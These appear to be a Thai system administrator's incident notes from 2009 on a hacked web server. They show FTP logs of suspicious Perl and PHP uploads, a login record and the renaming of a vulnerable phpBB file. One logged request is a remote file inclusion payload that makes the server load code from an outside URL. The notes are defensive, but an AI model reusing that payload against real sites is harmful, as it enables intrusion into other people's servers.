เครื่อง 158 ถูกวาง perl script 10 oct 2009
ยังหาไม่ได้ว่าเพราะเลย
แต่เจอว่า thaidream โดนวาง ftp แต่ไม่น่าเกียว
Sun Oct 11 05:16:45 2009 1 195.144.21.121 30821 /home/httpd/vhosts/thaidreamhost.com/httpdocs/emasculate.pl b _ i r thaidreamhost ftp 1 * c
Sun Oct 11 05:16:47 2009 0 195.144.21.121 35 /home/httpd/vhosts/thaidreamhost.com/httpdocs/thereupon.php a _ i r thaidreamhost ftp 1 * c
Sun Oct 11 05:16:48 2009 0 195.144.21.121 30821 /home/httpd/vhosts/thaidreamhost.com/httpdocs/emasculate.pl a _ d r thaidreamhost ftp 1 * c
Sun Oct 11 05:16:49 2009 0 195.144.21.121 35 /home/httpd/vhosts/thaidreamhost.com/httpdocs/thereupon.php a _ d r thaidreamhost ftp 1 * c
Sun Oct 11 06:25:54 2009 1 195.144.21.121 30821 /home/httpd/vhosts/thaidreamhost.com/cgi-bin/adapter.pl b _ i r thaidreamhost ftp 1 * c
Sun Oct 11 06:25:56 2009 0 195.144.21.121 30821 /home/httpd/vhosts/thaidreamhost.com/cgi-bin/adapter.pl b _ d r thaidreamhost ftp 1 * c
Sun Oct 11 06:25:59 2009 1 195.144.21.121 30821 /home/httpd/vhosts/thaidreamhost.com/httpdocs/customize.pl b _ i r thaidreamhost ftp 1 * c
Sun Oct 11 06:26:01 2009 0 195.144.21.121 34 /home/httpd/vhosts/thaidreamhost.com/httpdocs/packwood.php a _ i r thaidreamhost ftp 1 * c
Sun Oct 11 06:26:03 2009 0 195.144.21.121 30821 /home/httpd/vhosts/thaidreamhost.com/httpdocs/customize.pl a _ d r thaidreamhost ftp 1 * c
Sun Oct 11 06:26:03 2009 0 195.144.21.121 34 /home/httpd/vhosts/thaidreamhost.com/httpdocs/packwood.php a _ d r thaidreamhost ftp 1 * c
ชื่อ file ที่เรียก
./admirably.pl
แต่หาด้วยก็ไม่เจอ
find /home/httpd/ -name admirably.pl
ความคิดเห็นทั้งหมด
[root@ns11 log]# tail -1900 secure |grep 195.144.21.121
Oct 11 08:30:22 ns11 xinetd[22890]: START: ftp pid=29368 from=195.144.21.121
Oct 11 08:30:23 ns11 proftpd[29368]: localhost.localdomain (195.144.21.121[195.144.21.121]) - USER thaidreamhost: Login successful.
[root@ns11 log]# tail /usr/local/psa/var/log/xferlog
Sun Oct 11 06:26:03 2009 0 195.144.21.121 30821 /home/httpd/vhosts/thaidreamhost.com/httpdocs/customize.pl a _ d r thaidreamhost ftp 1 * c
Sun Oct 11 06:26:03 2009 0 195.144.21.121 34 /home/httpd/vhosts/thaidreamhost.com/httpdocs/packwood.php a _ d r thaidreamhost ftp 1 * c
Sun Oct 11 07:34:24 2009 1 195.144.21.121 30821 /home/httpd/vhosts/thaidreamhost.com/httpdocs/misunderstanding.pl b _ i r thaidreamhost ftp 1 * c
Sun Oct 11 07:34:26 2009 0 195.144.21.121 41 /home/httpd/vhosts/thaidreamhost.com/httpdocs/valor.php a _ i r thaidreamhost ftp 1 * c
Sun Oct 11 07:34:27 2009 0 195.144.21.121 30821 /home/httpd/vhosts/thaidreamhost.com/httpdocs/misunderstanding.pl a _ d r thaidreamhost ftp 1 * c
Sun Oct 11 07:34:28 2009 0 195.144.21.121 41 /home/httpd/vhosts/thaidreamhost.com/httpdocs/valor.php a _ d r thaidreamhost ftp 1 * c
Sun Oct 11 08:40:35 2009 1 195.144.21.121 30821 /home/httpd/vhosts/thaidreamhost.com/httpdocs/contingents.pl b _ i r thaidreamhost ftp 1 * c
Sun Oct 11 08:40:37 2009 0 195.144.21.121 36 /home/httpd/vhosts/thaidreamhost.com/httpdocs/poet.php a _ i r thaidreamhost ftp 1 * c
Sun Oct 11 08:40:38 2009 0 195.144.21.121 30821 /home/httpd/vhosts/thaidreamhost.com/httpdocs/contingents.pl a _ d r thaidreamhost ftp 1 * c
Sun Oct 11 08:40:39 2009 0 195.144.21.121 36 /home/httpd/vhosts/thaidreamhost.com/httpdocs/poet.php a _ d r thaidreamhost ftp 1 * c
222.122.72.216 - - [11/Oct/2009:07:30:59 +0700] "GET /modules.php?name=Asers_Shop&s_op=viewproduct&cid=5%20%20//modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=http://itnews.or.kr/id1.txt??????????? HTTP/1.1" 200 17 "-" "Mozilla/5.0"
[root@ns11 root]# cd /home/httpd/vhosts/ecovillager.org/httpdocs/modules/Forums/admin/
[root@ns11 admin]# ls
admin_avatar.php admin_forumauth.php admin_mass_email.php admin_ug_auth.php case.php language pagestart.php
admin_board.php admin_forum_prune.php admin_ranks.php admin_user_ban.php common.php links.php
admin_db_utilities.php admin_forums.php admin_smilies.php admin_users.php forums.php page_footer_admin.php
admin_disallow.php admin_groups.php admin_styles.php admin_words.php index.php page_header_admin.php
[root@ns11 admin]# mv admin_db_utilities.php admin_db_utilities.php-bk